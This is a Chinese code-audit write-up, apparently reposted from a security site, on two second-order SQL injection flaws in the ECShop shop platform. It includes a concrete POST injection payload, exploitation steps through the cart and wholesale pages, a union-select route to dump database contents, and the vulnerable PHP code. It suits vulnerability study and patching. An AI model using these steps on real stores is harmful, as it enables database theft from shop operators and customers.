代码审计：ecshop的goods_attr和goods_attr_id两个二次注

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一：goods_attr_id的二次注入

注入利用过程：

1.添加商品到购物车时，写入注入代码到商品属性id

http://localhost/test/ecshop/flow.php?step=add_to_cart

POST: goods={"quick":1,"spec":["163","158'"],"goods_id":32,"number":"1","parent":0}

注意，需要spec有两个或以上id

2.在查看购物车页面，点击更新购物车，执行注入代码(二次注入嘛，单引号可用了)

代码分析
1./includes/lib_goods.php 942行

function spec_price($spec)
{
    if (!empty($spec))
    {
        $where = db_create_in($spec, 'goods_attr_id');  //这里是注入位置，能控制$spec就可以了

$sql = 'SELECT SUM(attr_price) AS attr_price FROM ' . $GLOBALS['ecs']->table('goods_attr') . " WHERE $where";
        $price = floatval($GLOBALS['db']->getOne($sql));
    }
    else
    {
        $price = 0;
    }
    return $price;
}

2./includes/lib_common.php 2266行get_final_price有spec_price的调用

3.再看get_final_price方法的调用在ecshop/flow.php flow_update_cart方法，2272行

/* 处理普通商品或非优惠的配件 */
	else
	            {
	                $attr_id    = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']); //看,$attr_id是读取的购物车商品的goods_attr_id字段，所以只要在添加商品到购物车时写入注入代码就可以了
	$goods_price = get_final_price($goods['goods_id'], $val, true, $attr_id);
	                //更新购物车中的商品数量
	$sql = "UPDATE " .$GLOBALS['ecs']->table('cart').
	                        " SET goods_number = '$val', goods_price = '$goods_price' WHERE rec_id='$key' AND session_id='" . SESS_ID . "'";	            }

二：good_attr的二次注入
1.插入注入代码(goods_attr)至订单商品(/wholesale.php可以插入,即商品批发页面.

2.将1生成的订单在用户中心订单查看页执行“放回购物车”操作。

3.查看购物车页面，注入代码执行

代码分析：
1./includes/lib_order.php get_cart_goods()方法(读取购物车的商品)，1626行起

/* 查询规格 */
if (trim($row['goods_attr']) != '')
        {
            $sql = "SELECT attr_value FROM " . $GLOBALS['ecs']->table('goods_attr') . " WHERE goods_attr_id " .
            db_create_in($row['goods_attr']); //goods_attr是购物车商品的属性，所以只要能控制注入代码进入购物车商品就ok了，这是二次注入的原因
$attr_list = $GLOBALS['db']->getCol($sql);
            foreach ($attr_list AS $attr)
            {
                $row['goods_name'] .= ' [' . $attr . '] '; //union select方式可以将数据库内容查询出来显示到页面上
}
        }

2. /wholesale.php 160行起(将商品提交到购物车，实际上是提交到了$_SESSION)

/*------------------------------------------------------ */
	//-- 加入购物车
	/*------------------------------------------------------ */
	elseif ($_REQUEST['act'] == 'add_to_cart')
	{
	    /* 取得参数 */
	    $act_id         = intval($_POST['act_id']);
	    $goods_number   = $_POST['goods_number'][$act_id];
	    $attr_id        = isset($_POST['attr_id']) ? $_POST['attr_id'] : array();
	    if(isset($attr_id[$act_id]))
	    {
	        $goods_attr     = $attr_id[$act_id];  //可控，可以参考我在截图里构造的提交数据
	}
	…

3./wholesale.php 380行起(act==’submit_order’), 将$_SESSION里的数据写入订单

/* 插入订单商品 */
	foreach ($_SESSION['wholesale_goods'] as $goods)
	    {	        //如果存在货品
	$product_id = 0;
	        if (!empty($goods['goods_attr_id']))
	        {
	            $goods_attr_id = array();
	            foreach ($goods['goods_attr_id'] as $value)
	            {
	                $goods_attr_id[$value['attr_id']] = $value['attr_val_id'];
	            }	 
	            ksort($goods_attr_id);
	            $goods_attr = implode('|', $goods_attr_id);	 
	            $sql = "SELECT product_id FROM " . $ecs->table('products') . " WHERE goods_attr = '$goods_attr' AND goods_id = '" . $goods['goods_id'] . "'";
	            $product_id = $db->getOne($sql);
	        }	 
	        $sql = "INSERT INTO " . $ecs->table('order_goods') . "( " .
	                    "order_id, goods_id, goods_name, goods_sn, product_id, goods_number, market_price, ".
	                    "goods_price, goods_attr, is_real, extension_code, parent_id, is_gift) ".
	                " SELECT '$new_order_id', goods_id, goods_name, goods_sn, '$product_id','$goods[goods_number]', market_price, ".
	                    "'$goods[goods_price]', '$goods[goods_attr]', is_real, extension_code, 0, 0 ".
	                " FROM " .$ecs->table('goods') .
	                " WHERE goods_id = '$goods[goods_id]'";
	        $db->query($sql);

4.到3为止，已经可以将注入代码写到订单商品表(order_goods)里了，接下来就是进入购物车数据表，在用户中心查看订单时有个”放回购物车”操作，可以将订单商品放到购物车数据表(cart)里，
然后在查看购物车页面/flow.php即能看到注入结果了(见1的代码分析)
/includes/lib_transaction.php return_to_cart方法 854行起

...
        // 要返回购物车的商品  //约923行
$return_goods = array(
            'goods_id'      => $row['goods_id'],
            'goods_sn'      => addslashes($goods['goods_sn']),
            'goods_name'    => addslashes($goods['goods_name']),
            'market_price'  => $goods['market_price'],
            'goods_price'   => $goods['goods_price'],
            'goods_number'  => $row['goods_number'],
            'goods_attr'    => empty($row['goods_attr']) ? '' : addslashes($row['goods_attr']),  //看过来，重点在这，$row是订单商品，虽然addslashes了，但这是二次注入，最终会从数据库里再出来进入查询（见1的代码分析）
'goods_attr_id'    => empty($row['goods_attr_id']) ? '' : $row['goods_attr_id'],
            'is_real'       => $goods['is_real'],
            'extension_code'=> addslashes($goods['extension_code']),
            'parent_id'     => '0',
            'is_gift'       => '0',
            'rec_type'      => CART_GENERAL_GOODS
        );
...

漏洞作者：BLUE

摘自：http://www.unhonker.com/bug/1334.html

Tags：

ECshop漏洞, 代码审计,

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